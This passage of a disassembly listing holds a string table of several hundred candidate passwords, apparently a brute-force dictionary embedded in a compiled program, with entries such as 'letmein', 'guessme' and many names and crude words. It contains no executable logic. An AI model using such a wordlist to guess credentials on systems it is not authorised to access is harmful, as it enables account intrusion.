"hax0r" dd offset aScript ; "script" dd offset aScriptkiddie ; "scriptkiddie" dd offset aKiddie ; "kiddie" dd offset aMirc_0 ; "mirc" dd offset aUwontguessme ; "uwontguessme" dd offset aYouwontguessme ; "youwontguessme" dd offset aGuessme ; "guessme" dd offset asc_433F74 ; "x" dd offset aXx ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset dword_427A14 dd offset a00 ; "00" dd offset aDeath ; "death" dd offset aTesting ; "testing" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" dd offset aAcademia ; "academia" dd offset aAcademic ; "academic" dd offset aAccept ; "accept" dd offset aAccount ; "account" dd offset aAction ; "action" dd offset aAdam ; "adam" dd offset aAdrian ; "adrian" dd offset aAdrianna ; "adrianna" dd offset aAdult ; "adult" dd offset aAerobics ; "aerobics" dd offset aAids ; "aids" dd offset aAirplane ; "airplane" dd offset aAlaska ; "alaska" dd offset aAlbany ; "albany" dd offset aAlbatros ; "albatros" dd offset aAlbert ; "albert" dd offset aAlert ; "alert" dd offset aAlex ; "alex" dd offset aAlexande ; "alexande" dd offset aAlgebra ; "algebra" dd offset aAlias ; "alias" dd offset aAliases ; "aliases" dd offset aAlice ; "alice" dd offset aAlicia ; "alicia" dd offset aAlisa ; "alisa" dd offset aAlison ; "alison" dd offset aAllison ; "allison" dd offset aAllow ; "allow" dd offset aAlphabet ; "alphabet" dd offset aAmadeus ; "amadeus" dd offset aAmanda ; "amanda" dd offset aAmber ; "amber" dd offset aAmerica ; "america" dd offset aAmorphou ; "amorphou" dd offset aAnal ; "anal" dd offset aAnalog ; "analog" dd offset aAnarchis ; "anarchis" dd offset aAnarchy ; "anarchy" dd offset aAnchor ; "anchor" dd offset aAndrea ; "andrea" dd offset aAndroid ; "android" dd offset aAndromac ; "andromac" dd offset aAndy ; "andy" dd offset aAnfo ; "anfo" dd offset aAngela ; "angela" dd offset aAngerine ; "angerine" dd offset aAngie ; "angie" dd offset aAnimal ; "animal" dd offset aAnimals ; "animals" dd offset aAnita ; "anita" dd offset aAnna ; "anna" dd offset aAnne ; "anne" dd offset aAnnette ; "annette" dd offset aAnon ; "anon" dd offset aAnonymou ; "anonymou" dd offset aAnswer ; "answer" dd offset aAnthrax ; "anthrax" dd offset aAnthropo ; "anthropo" dd offset aAnvils ; "anvils" dd offset aAnything ; "anything" dd offset aApollo13 ; "apollo13" dd offset aApril ; "april" dd offset aAria ; "aria" dd offset aAriadne ; "ariadne" dd offset aArlene ; "arlene" dd offset aArmy ; "army" dd offset aArrow ; "arrow" dd offset aArthur ; "arthur" dd offset aArtist ; "artist" dd offset aAsian ; "asian" dd offset aAsshole ; "asshole" dd offset aAthena ; "athena" dd offset aAtmosphe ; "atmosphe" dd offset aAtom ; "atom" dd offset aAttack ; "attack" dd offset aAuthoriz ; "authoriz" dd offset aAztecs ; "aztecs" dd offset aAzure ; "azure" dd offset aBabe ; "babe" dd offset aBaby ; "baby" dd offset aBacchus ; "bacchus" dd offset aBackdoor ; "backdoor" dd offset aBadass ; "badass" dd offset aBailey ; "bailey" dd offset aBall ; "ball" dd offset aBanana ; "banana" dd offset aBananas ; "bananas" dd offset aBandit ; "bandit" dd offset aBank ; "bank" dd offset aBanks ; "banks" dd offset aBarbara ; "barbara" dd offset aBarber ; "barber" dd offset aBare ; "bare" dd offset aBarf ; "barf" dd offset aBaritone ; "baritone" dd offset aBart ; "bart" dd offset aBartman ; "bartman" dd offset aBaseball ; "baseball" dd offset aBasic ; "basic" dd offset aBass ; "bass" dd offset aBassoon ; "bassoon" dd offset aBatch ; "batch" dd offset aBatman ; "batman" dd offset aBeach ; "beach" dd offset aBeammeup ; "beammeup" dd offset aBear ; "bear" dd offset aBeast ; "beast" dd offset aBeater ; "beater" dd offset aBeauty ; "beauty" dd offset aBeaver ; "beaver" dd offset aBecky ; "becky" dd offset aBeethove ; "beethove" dd offset aBegin ; "begin" dd offset aBehead ; "behead" dd offset aBell ; "bell" dd offset aBeloved ; "beloved" dd offset aBenz ; "benz" dd offset aBeowulf ; "beowulf" dd offset aBerkeley ; "berkeley" dd offset aBerlin ; "berlin" dd offset aBerliner ; "berliner" dd offset aBeryl ; "beryl" dd offset aBeta ; "beta" dd offset aBeth ; "beth" dd offset aBetsie ; "betsie" dd offset aBetty ; "betty" dd offset aBeverly ; "beverly" dd offset aBible ; "bible" dd offset aBicamera ; "bicamera" dd offset aBigfoot ; "bigfoot" dd offset aBill ; "bill" dd offset aBinary ; "binary" dd offset aBios ; "bios" dd offset aBird ; "bird" dd offset aBishop ; "bishop" dd offset aBitch ; "bitch" dd offset aBitmap ; "bitmap" dd offset aBitnet ; "bitnet" dd offset aBlack ; "black" dd offset aBlonde ; "blonde" dd offset aBlondie ; "blondie" dd offset aBlood ; "blood" dd offset aBloodaxe ; "bloodaxe" dd offset aBlow ; "blow" dd offset aBlowjob ; "blowjob" dd offset aBlue ; "blue" dd offset aBlues ; "blues" dd offset aBoard ; "board" dd offset aBomb ; "bomb" dd offset aBoner ; "boner" dd offset aBoob ; "boob" dd offset aBoobs ; "boobs" dd offset aBook ; "book" dd offset aBorn ; "born" dd offset aBoyscout ; "boyscout" dd offset aBradley ; "bradley" dd offset aBrandi ; "brandi" dd offset aBrandy ; "brandy" dd offset aBravo ; "bravo" dd offset aBreak ; "break" dd offset aBreast ; "breast" dd offset aBrenda ; "brenda" dd offset aBrian ; "brian" dd offset aBridget ; "bridget" dd offset aBroadway ; "broadway" dd offset aBrothel ; "brothel" dd offset aBrunette ; "brunette" dd offset aBrute ; "brute" dd offset aBrutefor ; "brutefor" dd offset aBulls ; "bulls" dd offset aBullshit ; "bullshit" dd offset aBumbling ; "bumbling" dd offset aBung ; "bung" dd offset aBurgess ; "burgess" dd offset aBurn ; "burn" dd offset aButch ; "butch" dd offset aButt ; "butt" dd offset aButthead ; "butthead" dd offset aCaliforn ; "californ" dd offset aCamille ; "camille" dd offset aCampanil ; "campanil" dd offset aCamping ; "camping" dd offset aCandi ; "candi" dd offset aCandy ; "candy" dd offset aCantor ; "cantor" dd offset aCaptain ; "captain" dd offset aCapture ; "capture" dd offset aCard ; "card" dd offset aCardinal ; "cardinal" dd offset aCaren ; "caren" dd offset aCarla ; "carla" dd offset aCarmen ; "carmen" dd offset aCarol ; "carol" dd offset aCarole ; "carole" dd offset aCarolina ; "carolina" dd offset aCaroline ; "caroline" dd offset aCarrie ; "carrie" dd offset aCarson ; "carson" dd offset aCascades ; "cascades" dd offset aCash ; "cash" dd offset aCastle ; "castle" dd offset aCatherin ; "catherin" dd offset aCatholic ; "catholic" dd offset aCathy ; "cathy" dd offset aCave ; "cave" dd offset aCayuga ; "cayuga" dd offset aCecily ; "cecily" dd offset aCelt ; "celt" dd offset aCeltic ; "celtic" dd offset aCeltics ; "celtics" dd offset aCerulean ; "cerulean" dd offset aChange ; "change" dd offset aCharity ; "charity" dd offset aCharles ; "charles" dd offset aCharlie ; "charlie" dd offset aCharming ; "charming" dd offset aCharon ; "charon" dd offset aChat_0 ; "chat" dd offset aChem ; "chem" dd offset aChemistr ; "chemistr" dd offset aChess ; "chess" dd offset aChester ; "chester" dd offset aChip ; "chip" dd offset aChris ; "chris" dd offset aChristin ; "christin" dd offset aChristy ; "christy" dd offset aCigar ; "cigar" dd offset aCigarett ; "cigarett" dd offset aCindy ; "cindy" dd offset aClass ; "class" dd offset aClasses ; "classes" dd offset aClassic ; "classic" dd offset aClaudia ; "claudia" dd offset aClaymore ; "claymore" dd offset aCleavage ; "cleavage" dd offset aClinton ; "clinton" dd offset aCluster ; "cluster" dd offset aClusters ; "clusters" dd offset aCoast ; "coast" dd offset aCocacola ; "cocacola" dd offset aCocainco ; "cocainco" dd offset aCock ; "cock" dd offset aCode ; "code" dd offset aCodename ; "codename" dd offset aCodeword ; "codeword" dd offset aCoffee ; "coffee" dd offset aCoin ; "coin" dd offset aCoke ; "coke" dd offset aCola ; "cola" dd offset aCold ; "cold" dd offset aCollins ; "collins" dd offset aColor ; "color" dd offset aCombat ; "combat" dd offset aComics ; "comics" dd offset aCommit ; "commit" dd offset aCommrade ; "commrade" dd offset aCompany ; "company" dd offset aComputin ; "computin" dd offset aComrade ; "comrade" dd offset aComrades ; "comrades" dd offset aCondo ; "condo" dd offset aCondom ; "condom" dd offset aConnect ; "connect" dd offset aConnie ; "connie" dd offset aConserva ; "conserva" dd offset aConsole ; "console" dd offset aContinue ; "continue" dd offset aCook ; "cook" dd offset aCookbook ; "cookbook" dd offset aCookie ; "cookie" dd offset aCool ; "cool" dd offset aCooper ; "cooper" dd offset aCopper ; "copper" dd offset aCops ; "cops" dd offset aCopy ; "copy" dd offset aCorneliu ; "corneliu" dd offset aCorrect ; "correct" dd offset aCounters ; "counters" dd offset aCountry ; "country" dd offset aCouscous ; "couscous" dd offset aCowboy ; "cowboy" dd offset aCrack ; "crack" dd offset aCrackpot ; "crackpot" dd offset aCream ; "cream" dd offset aCreate ; "create" dd offset aCreation ; "creation" dd offset aCreature ; "creature" dd offset aCredit ; "credit" dd offset aCreosote ; "creosote" dd offset aCretin ; "cretin" dd offset aCrime ; "crime" dd offset aCriminal ; "criminal" dd offset aCristina ; "cristina" dd offset aCrystal ; "crystal" dd offset aCshrc ; "cshrc" dd offset aCunt ; "cunt" dd offset aCustomer ; "customer" dd offset aCyber ; "cyber" dd offset aCyberpun ; "cyberpun" dd offset aCyberspa ; "cyberspa" dd offset aCynthia ; "cynthia" dd offset aDaemon ; "daemon" dd offset aDaisy ; "daisy" dd offset aDana ; "dana" dd offset aDancer ; "dancer" dd offset aDaniel ; "daniel" dd offset aDanielle ; "danielle" dd offset aDanny ; "danny" dd offset aDapper ; "dapper" dd offset aDark ; "dark" dd offset aDarkaven ; "darkaven" dd offset aData ; "data" dd offset aDave ; "dave" dd offset aDawn ; "dawn" dd offset aDead ; "dead" dd offset aDeathsta ; "deathsta" dd offset aDebbie ; "debbie" dd offset aDeborah ; "deborah" dd offset aDebug ; "debug" dd offset aDecember ; "december" dd offset aDeck ; "deck" dd offset aDefault ; "default" dd offset aDefault_0 ; "DEFAULT" dd offset aDefoe ; "defoe" dd offset aDelta ; "delta" dd offset aDeluge ; "deluge" dd offset aDemocrat ; "democrat" dd offset aDenise ; "denise" dd offset aDennis ; "dennis" dd offset aDesiree ; "desiree" dd offset aDesk ; "desk" dd offset aDesktop ; "desktop" dd offset aDesperat ; "desperat" dd offset aDevelop ; "develop" dd offset aDevice ; "device" dd offset aDial ; "dial" dd offset aDiamond ; "diamond" dd offset aDiana ; "diana" dd offset aDiane ; "diane" dd offset aDice ; "dice" dd offset aDick ; "dick" dd offset aDiehard ; "diehard" dd offset aDiet ; "diet" dd offset aDieter ; "dieter" dd offset aDigital ; "digital" dd offset aDinosaur ; "dinosaur" dd offset aDipshit ; "dipshit" dd offset aDirect ; "direct" dd offset aDirector ; "director" dd offset aDirty ; "dirty" dd offset aDisc ; "disc" dd offset aDiscipli ; "discipli" dd offset aDisclose ; "disclose" dd offset aDiscover ; "discover" dd offset aDisk_0 ; "disk" dd offset aDiskette ; "diskette" dd offset aDisney ; "disney" dd offset aDisplay_0 ; "display" dd offset aDoctor ; "doctor" dd offset aDollar ; "dollar" dd offset aDong ; "dong" dd offset aDoom ; "doom" dd offset aDoom2 ; "doom2" dd offset aDoomii ; "doomii" dd offset aDoomsday ; "doomsday" dd offset aDoonesbu ; "doonesbu" dd offset aDoor ; "door" dd offset aDoors ; "doors" dd offset aDope ; "dope" dd offset aDownload ; "download" dd offset aDragon ; "dragon" dd offset aDrdoom ; "drdoom" dd offset aDrive ; "drive" dd offset aDrought ; "drought" dd offset aDuck ; "duck" dd offset aDude ; "dude" dd offset aDuelist ; "duelist" dd offset aDuke ; "duke" dd offset aDulce ; "dulce" dd offset aDuncan ; "duncan" dd offset aDungeon ; "dungeon" dd offset aDyke ; "dyke" dd offset aEager ; "eager" dd offset aEagle ; "eagle" dd offset aEarth ; "earth" dd offset aEasier ; "easier" dd offset aEasy ; "easy" dd offset aEatme ; "eatme" dd offset aEcho ; "echo" dd offset aEddie ; "eddie" dd offset aEdges ; "edges" dd offset aEdinburg ; "edinburg" dd offset aEdit ; "edit" dd offset aEdition ; "edition" dd offset aEducation ; "education" dd offset aEducatio ; "educatio" dd offset aEdwin ; "edwin" dd offset aEdwina ; "edwina" dd offset aEgghead ; "egghead" dd offset aEiderdow ; "eiderdow" dd offset aEileen ; "eileen" dd offset aEinsiein ; "einsiein" dd offset aEinstein ; "einstein" dd offset aElaine ; "elaine" dd offset aElanor ; "elanor" dd offset aElectron ; "electron" dd offset aElephant ; "elephant" dd offset aElizabet ; "elizabet" dd offset aEllen ; "ellen" dd offset aEmail ; "email" dd offset aEmerald ; "emerald" dd offset aEmily ; "emily" dd offset aEmmanuel ; "emmanuel" dd offset aEnemy ; "enemy" dd offset aEngine ; "engine" dd offset aEngineer ; "engineer" dd offset aEngland ; "england" dd offset aEnglish ; "english" dd offset aEnter ; "enter" dd offset aEnterpri ; "enterpri" dd offset aEnzyme ; "enzyme" dd offset aErenity ; "erenity" dd offset aEric ; "eric" dd offset aErica ; "erica" dd offset aErika ; "erika" dd offset aErin ; "erin" dd offset aErotic ; "erotic" dd offset aErsatz ; "ersatz" dd offset aEstablis ; "establis" dd offset aEstate ; "estate" dd offset aEternity ; "eternity" dd offset aEuclid ; "euclid" dd offset aEvelyn ; "evelyn" dd offset aExpert ; "expert" dd offset aExplode ; "explode" dd offset aExplore ; "explore" dd offset aExplorer ; "explorer" dd offset aExplosiv ; "explosiv" dd offset aExtensio ; "extensio" dd offset aFairway ; "fairway" dd offset aFaith ; "faith" dd offset aFalcon ; "falcon" dd offset aFalse ; "false" dd offset aFamily ; "family" dd offset aFarad ; "farad" dd offset aFaraday ; "faraday" dd offset aFart ; "fart" dd offset aFast ; "fast" dd offset aFear ; "fear" dd offset aFeds ; "feds" dd offset aFelicia ; "felicia" dd offset aFender ; "fender" dd offset aFermat ; "fermat" dd offset aFerrari ; "ferrari" dd offset aFidelity ; "fidelity" dd offset aField ; "field" dd offset aFight ; "fight" dd offset aFile ; "file" dd offset aFinite ; "finite" dd offset aFire ; "fire" dd offset aFirewall ; "firewall" dd offset aFishers ; "fishers" dd offset aFlakes ; "flakes" dd offset aFloat ; "float" dd offset aFlorida ; "florida" dd offset aFlower ; "flower" dd offset aFlowers ; "flowers" dd offset aFood ; "food" dd offset aFool ; "fool" dd offset aFoolproo ; "foolproo" dd offset aFootball ; "football" dd offset aForce ; "force" dd offset aFord ; "ford" dd offset aForesigh ; "foresigh" dd offset aForever ; "forever" dd offset aForm ; "form" dd offset aFormat ; "format" dd offset aFornicat ; "fornicat" dd offset aForsythe ; "forsythe" dd offset aFourier ; "fourier" dd offset aFoxtrot ; "foxtrot" dd offset aFrance ; "france" dd offset aFrank ; "frank" dd offset aFreak ; "freak" dd offset aFred ; "fred" dd offset aFree ; "free" dd offset aFreedom ; "freedom" dd offset aFrench ; "french" dd offset aFriday ; "friday" dd offset aFriend ; "friend" dd offset aFriends ; "friends" dd offset aFrighten ; "frighten" dd offset aFrog ; "frog" dd offset aFryguy ; "fryguy" dd offset aFuck ; "fuck" dd offset aFucker ; "fucker" dd offset aFucking ; "fucking" dd offset aFuckme ; "fuckme" dd offset aFuckyou ; "fuckyou" dd offset aFudge ; "fudge" dd offset aFunction ; "function" dd offset aFungible ; "fungible" dd offset aGabriel ; "gabriel" dd offset aGames ; "games" dd offset aGardner ; "gardner" dd offset aGarfield ; "garfield" dd offset aGateway ; "gateway" dd offset aGatherin ; "gatherin" dd offset aGatt ; "gatt" dd offset aGauss ; "gauss" dd offset aGeorge ; "george" dd offset aGerm ; "germ" dd offset aGertrude ; "gertrude" dd offset aGhost ; "ghost" dd offset aGibson ; "gibson" dd offset aGigabyte ; "gigabyte" dd offset aGina ; "gina" dd offset aGinger ; "ginger" dd offset aGirl ; "girl" dd offset aGlacier ; "glacier" dd offset aGold ; "gold" dd offset aGolden ; "golden" dd offset aGolf ; "golf" dd offset aGolfer ; "golfer" dd offset aGood ; "good" dd offset aGorgeous ; "gorgeous" dd offset aGorges ; "gorges" dd offset aGosling ; "gosling" dd offset aGouge ; "gouge" dd offset aGovermen ; "govermen" dd offset aGrades ; "grades" dd offset aGraham ; "graham" dd offset aGrahm ; "grahm" dd offset aGrand ; "grand" dd offset aGrant ; "grant" dd offset aGreat ; "great" dd offset aGreen ; "green" dd offset aGroup ; "group" dd offset aGryphon ; "gryphon" dd offset aGuardian ; "guardian" dd offset aGucci ; "gucci" dd offset aGuess ; "guess" dd offset aGuitar ; "guitar" dd offset aGumption ; "gumption" dd offset aGuntis ; "guntis" dd offset aHack ; "hack" dd offset aHacked ; "hacked" dd offset aHagar ; "hagar" dd offset aHair ; "hair" dd offset aHallowee ; "hallowee" dd offset aHamlet ; "hamlet" dd offset aHamster ; "hamster" dd offset aHandel ; "handel" dd offset aHandily ; "handily" dd offset aHandjob ; "handjob" dd offset aHappenin ; "happenin" dd offset aHard ; "hard" dd offset aHardcore ; "hardcore" dd offset aHarddriv ; "harddriv" dd offset aHarmony ; "harmony" dd offset aHarold ; "harold" dd offset aHarvey ; "harvey" dd offset aHate ; "hate" dd offset aHaven ; "haven" dd offset aHawaii ; "hawaii" dd offset aHead ; "head" dd offset aHeadbang ; "headbang" dd offset aHeat ; "heat" dd offset aHeathen ; "heathen" dd offset aHeather ; "heather" dd offset aHebrides ; "hebrides" dd offset aHeidi ; "heidi" dd offset aHeinlein ; "heinlein" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aHelp ; "help" dd offset aHerb ; "herb" dd offset aHerbert ; "herbert" dd offset aHero ; "hero" dd offset aHeroin ; "heroin" dd offset aHewlett ; "hewlett" dd offset aHexadeci ; "hexadeci" dd offset aHiawatha ; "hiawatha" dd offset aHibernia ; "hibernia" dd offset aHidden ; "hidden" dd offset aHigh ; "high" dd offset aHighland ; "highland" dd offset aHitler ; "hitler" dd offset aHits ; "hits" dd offset aHole ; "hole" dd offset aHolly ; "holly" dd offset aHollywoo ; "hollywoo" dd offset aHomepage ; "homepage" dd offset aHomer ; "homer" dd offset aHomework ; "homework" dd offset aHoney ; "honey" dd offset aHooker ; "hooker" dd offset aHooters ; "hooters" dd offset aHorny ; "horny" dd offset aHorrible ; "horrible" dd offset aHorror ; "horror" dd offset aHorse ; "horse" dd offset aHorus ; "horus" dd offset aHost ; "host" dd offset aHotdog ; "hotdog" dd offset aHotel ; "hotel" dd offset aHttp_0 ; "http" dd offset aHunt ; "hunt" dd offset aHunter ; "hunter" dd offset aHutchins ; "hutchins" dd offset aHydrogen ; "hydrogen" dd offset aHyper ; "hyper" dd offset aHypertxt ; "hypertxt" dd offset aIcecream ; "icecream" dd offset aIllumina ; "illumina" dd offset aImage ; "image" dd offset aImbrogli ; "imbrogli" dd offset aImmortal ; "immortal" dd offset aImperial ; "imperial" dd offset aInclude ; "include" dd offset aIndia ; "india" dd offset aIndian ; "indian" dd offset aIndiana ; "indiana" dd offset aIndians ; "indians" dd offset aIngres ; "ingres" dd offset aIngress ; "ingress" dd offset aIngrid ; "ingrid" dd offset aInna ; "inna" dd offset aInnocuou ; "innocuou" dd offset aInput ; "input" dd offset aInside ; "inside" dd offset aInteger ; "integer" dd offset aInvent ; "invent" dd offset aIrene ; "irene" dd offset aIrishman ; "irishman" dd offset aIsis ; "isis" dd offset aJackie ; "jackie" dd offset aJail ; "jail" dd offset aJane ; "jane" dd offset aJanet ; "janet" dd offset aJanice ; "janice" dd offset aJanie ; "janie" dd offset aJapan ; "japan" dd offset aJasmin ; "jasmin" dd offset aJava ; "java" dd offset aJazz ; "jazz" dd offset aJean ; "jean" dd offset aJeanne ; "jeanne" dd offset aJeff ; "jeff" dd offset aJenni ; "jenni" dd offset aJennifer ; "jennifer" dd offset aJenny ; "jenny" dd offset aJerry ; "jerry" dd offset aJerusale ; "jerusale" dd offset aJessica ; "jessica" dd offset aJester ; "jester" dd offset aJewelry ; "jewelry" dd offset aJill ; "jill" dd offset aJixian ; "jixian" dd offset aJoanne ; "joanne" dd offset aJody ; "jody" dd offset aJohn ; "john" dd offset aJohndoe ; "johndoe" dd offset aJohnny ; "johnny" dd offset aJoseph ; "joseph" dd offset aJoshua ; "joshua" dd offset aJournal ; "journal" dd offset aJoyce ; "joyce" dd offset aJudith ; "judith" dd offset aJudy ; "judy" dd offset aJuggle ; "juggle" dd offset aJuicy ; "juicy" dd offset aJulia ; "julia" dd offset aJulie ; "julie" dd offset aJuliet ; "juliet" dd offset aJune ; "june" dd offset aJupiter ; "jupiter" dd offset aKaka ; "kaka" dd offset aKaren ; "karen" dd offset aKarie ; "karie" dd offset aKarina ; "karina" dd offset aKatana ; "katana" dd offset aKate ; "kate" dd offset aKathleen ; "kathleen" dd offset aKathrine ; "kathrine" dd offset aKathy ; "kathy" dd offset aKatina ; "katina" dd offset aKatrina ; "katrina" dd offset aKelly ; "kelly" dd offset aKeri ; "keri" dd offset aKermit ; "kermit" dd offset aKernel ; "kernel" dd offset aKerri ; "kerri" dd offset aKerrie ; "kerrie" dd offset aKerry ; "kerry" dd offset aKevin ; "kevin" dd offset aKewl ; "kewl" dd offset aKeybord ; "keybord" dd offset aKeyin ; "keyin" dd offset aKeyword ; "keyword" dd offset aKids ; "kids" dd offset aKill ; "kill" dd offset aKillthem ; "killthem" dd offset aKilo ; "kilo" dd offset aKimberly ; "kimberly" dd offset aKing ; "king" dd offset aKirk ; "kirk" dd offset aKirkland ; "kirkland" dd offset aKiss ; "kiss" dd offset aKissmyas ; "kissmyas" dd offset aKitten ; "kitten" dd offset aKlingon ; "klingon" dd offset aKnife ; "knife" dd offset aKnight ; "knight" dd offset aKnightma ; "knightma" dd offset aKnown ; "known" dd offset aKrista ; "krista" dd offset aKristen ; "kristen" dd offset aKristi ; "kristi" dd offset aKristie ; "kristie" dd offset aKristin ; "kristin" dd offset aKristine ; "kristine" dd offset aKristy ; "kristy" dd offset aLadies ; "ladies" dd offset aLadle ; "ladle" dd offset aLakers ; "lakers" dd offset aLambda ; "lambda" dd offset aLaminati ; "laminati" dd offset aLana ; "lana" dd offset aLaptop ; "laptop" dd offset aLara ; "lara" dd offset aLarkin ; "larkin" dd offset aLarry ; "larry" dd offset aLaser ; "laser" dd offset aLaura ; "laura" dd offset aLava ; "lava" dd offset aLazarus ; "lazarus" dd offset aLazer ; "lazer" dd offset aLeah ; "leah" dd offset aLebesgue ; "lebesgue" dd offset aLeft ; "left" dd offset aLeftwing ; "leftwing" dd offset aLegal ; "legal" dd offset aLeland ; "leland" dd offset aLeroy ; "leroy" dd offset aLesbian ; "lesbian" dd offset aLeslie ; "leslie" dd offset aLetmein ; "letmein" dd offset aLewis ; "lewis" dd offset aLexluthe ; "lexluthe" dd offset aLiberal ; "liberal" dd offset aLibrary ; "library" dd offset aLick ; "lick" dd offset aLicker ; "licker" dd offset aLife ; "life" dd offset aLight ; "light" dd offset aLightsab ; "lightsab" dd offset aLima ; "lima" dd offset aLimbaugh ; "limbaugh" dd offset aLimited ; "limited" dd offset aLinda ; "linda" dd offset aLink ; "link" dd offset aLion ; "lion" dd offset aLips ; "lips" dd offset aLisa ; "lisa" dd offset aLisp ; "lisp" dd offset aLiteratu ; "literatu" dd offset aLive ; "live" dd offset aLoad ; "load" dd offset aLock ; "lock" dd offset aLockout ; "lockout" dd offset aLockword ; "lockword" dd offset aLogic ; "logic" dd offset aLoginwor ; "loginwor" dd offset aLogout ; "logout" dd offset aLois ; "lois" dd offset aLolopc ; "lolopc" dd offset aLoose ; "loose" dd offset aLore ; "lore" dd offset aLori ; "lori" dd offset aLorin ; "lorin" dd offset aLorraine ; "lorraine" dd offset aLoser ; "loser" dd offset aLouis ; "louis" dd offset aLovebug ; "lovebug" dd offset aLover ; "lover" dd offset aLuck ; "luck" dd offset aLucus ; "lucus" dd offset aLucy ; "lucy" dd offset aLude ; "lude" dd offset aLuke ; "luke" dd offset aLust ; "lust" dd offset aLynn ; "lynn" dd offset aLynne ; "lynne" dd offset aMachine ; "machine" dd offset aMacintos ; "macintos" dd offset aMack ; "mack" dd offset aMacro ; "macro" dd offset aMaggot ; "maggot" dd offset aMagic ; "magic" dd offset aMagnet ; "magnet" dd offset aMail ; "mail" dd offset aMaint ; "maint" dd offset aMalcolm ; "malcolm" dd offset aMalcom ; "malcom" dd offset aMana ; "mana" dd offset aManager ; "manager" dd offset aMara ; "mara" dd offset aMarci ; "marci" dd offset aMarcy ; "marcy" dd offset aMaria ; "maria" dd offset aMariens ; "mariens" dd offset aMarietta ; "marietta" dd offset aMarijuan ; "marijuan" dd offset aMarines ; "marines" dd offset aMark ; "mark" dd offset aMarkus ; "markus" dd offset aMarni ; "marni" dd offset aMarriage ; "marriage" dd offset aMars ; "mars" dd offset aMarty ; "marty" dd offset aMarvin ; "marvin" dd offset aMary ; "mary" dd offset aMason ; "mason" dd offset aMaster ; "master" dd offset aMath ; "math" dd offset aMaurice ; "maurice" dd offset aMeagan ; "meagan" dd offset aMegabyte ; "megabyte" dd offset aMegadeth ; "megadeth" dd offset aMegan ; "megan" dd offset aMelissa ; "melissa" dd offset aMellon ; "mellon" dd offset aMelrose ; "melrose" dd offset aMember ; "member" dd offset aMemory ; "memory" dd offset aMenace ; "menace" dd offset aMenu ; "menu" dd offset aMercury ; "mercury" dd offset aMerlin ; "merlin" dd offset aMetal ; "metal" dd offset aMetalhea ; "metalhea" dd offset aMetalica ; "metalica" dd offset aMets ; "mets" dd offset aMice ; "mice" dd offset aMichael ; "michael" dd offset aMichel ; "michel" dd offset aMichelan ; "michelan" dd offset aMichele ; "michele" dd offset aMichelle ; "michelle" dd offset aMickey ; "mickey" dd offset aMicro ; "micro" dd offset aMicrochi ; "microchi" dd offset aMicropro ; "micropro" dd offset aMicrosof ; "microsof" dd offset aMidieval ; "midieval" dd offset aMike ; "mike" dd offset aMine ; "mine" dd offset aMinimum ; "minimum" dd offset aMinsky ; "minsky" dd offset aMisfit ; "misfit" dd offset aMission ; "mission" dd offset aMkii ; "mkii" dd offset aMode ; "mode" dd offset aModem ; "modem" dd offset aMogul ; "mogul" dd offset aMoguls ; "moguls" dd offset aMonday ; "monday" dd offset aMonica ; "monica" dd offset aMoom ; "moom" dd offset aMoor ; "moor" dd offset aMoose ; "moose" dd offset aMore ; "more" dd offset aMorley ; "morley" dd offset aMorris ; "morris" dd offset aMortal ; "mortal" dd offset aMortalco ; "mortalco" dd offset aMortgage ; "mortgage" dd offset aMosaic ; "mosaic" dd offset aMountain ; "mountain" dd offset aMouse ; "mouse" dd offset aMove ; "move" dd offset aMovie ; "movie" dd offset aMovies ; "movies" dd offset aMozart ; "mozart" dd offset aMpeg ; "mpeg" dd offset aMsdos ; "msdos" dd offset aMuppets ; "muppets" dd offset aMutant ; "mutant" dd offset aNagel ; "nagel" dd offset aName ; "name" dd offset aNancy ; "nancy" dd offset aNapoleon ; "napoleon" dd offset aNasa ; "nasa" dd offset aNavy ; "navy" dd offset aNepenthe ; "nepenthe" dd offset aNeptune ; "neptune" dd offset aNess ; "ness" dd offset aNetscape ; "netscape" dd offset aNetwork_0 ; "network" dd offset aNewborn ; "newborn" dd offset aNews ; "news" dd offset aNewsgrou ; "newsgrou" dd offset aNewton ; "newton" dd offset aNewyork ; "newyork" dd offset aNext ; "next" dd offset aNice ; "nice" dd offset aNicole ; "nicole" dd offset aNicotine ; "nicotine" dd offset aNight ; "night" dd offset aNightmar ; "nightmar" dd offset aNintendo ; "nintendo" dd offset aNita ; "nita" dd offset aNnaacp ; "nnaacp" dd offset aNoble ; "noble" dd offset aNobody ; "nobody" dd offset aNode ; "node" dd offset aNoreen ; "noreen" dd offset aNotes ; "notes" dd offset aNoth ; "noth" dd offset aNova ; "nova" dd offset aNovel ; "novel" dd offset aNovember ; "november" dd offset aNoxious ; "noxious" dd offset aNuclear ; "nuclear" dd offset aNude ; "nude" dd offset aNuke ; "nuke" dd offset aNukem ; "nukem" dd offset aNull_1 ; "null" dd offset aNumber ; "number" dd offset aNutritio ; "nutritio" dd offset aNuts ; "nuts" dd offset aNyquist ; "nyquist" dd offset aObscurit ; "obscurit" dd offset aOceanogr ; "oceanogr" dd offset aOcelot ; "ocelot" dd offset aOffice ; "office" dd offset aOkay ; "okay" dd offset aOldage ; "oldage" dd offset aOlivetti ; "olivetti" dd offset aOlivia ; "olivia" dd offset aOmega ; "omega" dd offset aOpen ; "open" dd offset aOpening ; "opening" dd offset aOpenlock ; "openlock" dd offset aOpensesa ; "opensesa" dd offset aOperator ; "operator" dd offset aOrca ; "orca" dd offset aOrient ; "orient" dd offset aOrwell ; "orwell" dd offset aOscar ; "oscar" dd offset aOsiris ; "osiris" dd offset aOutdoors ; "outdoors" dd offset aOutlaw ; "outlaw" dd offset aOutput ; "output" dd offset aOutside ; "outside" dd offset aOxford ; "oxford" dd offset aPacific ; "pacific" dd offset aPackard ; "packard" dd offset aPacker ; "packer" dd offset aPainless ; "painless" dd offset aPaint ; "paint" dd offset aPakistan ; "pakistan" dd offset aPamela ; "pamela" dd offset aPapa ; "papa" dd offset aPaper ; "paper" dd offset aPapers ; "papers" dd offset aPascal ; "pascal" dd offset aPassphra ; "passphra" dd offset aPaste ; "paste" dd offset aPatricia ; "patricia" dd offset aPatriot ; "patriot" dd offset aPatty ; "patty" dd offset aPaula ; "paula" dd offset aPeanuts ; "peanuts" dd offset aPecker ; "pecker" dd offset aPencil ; 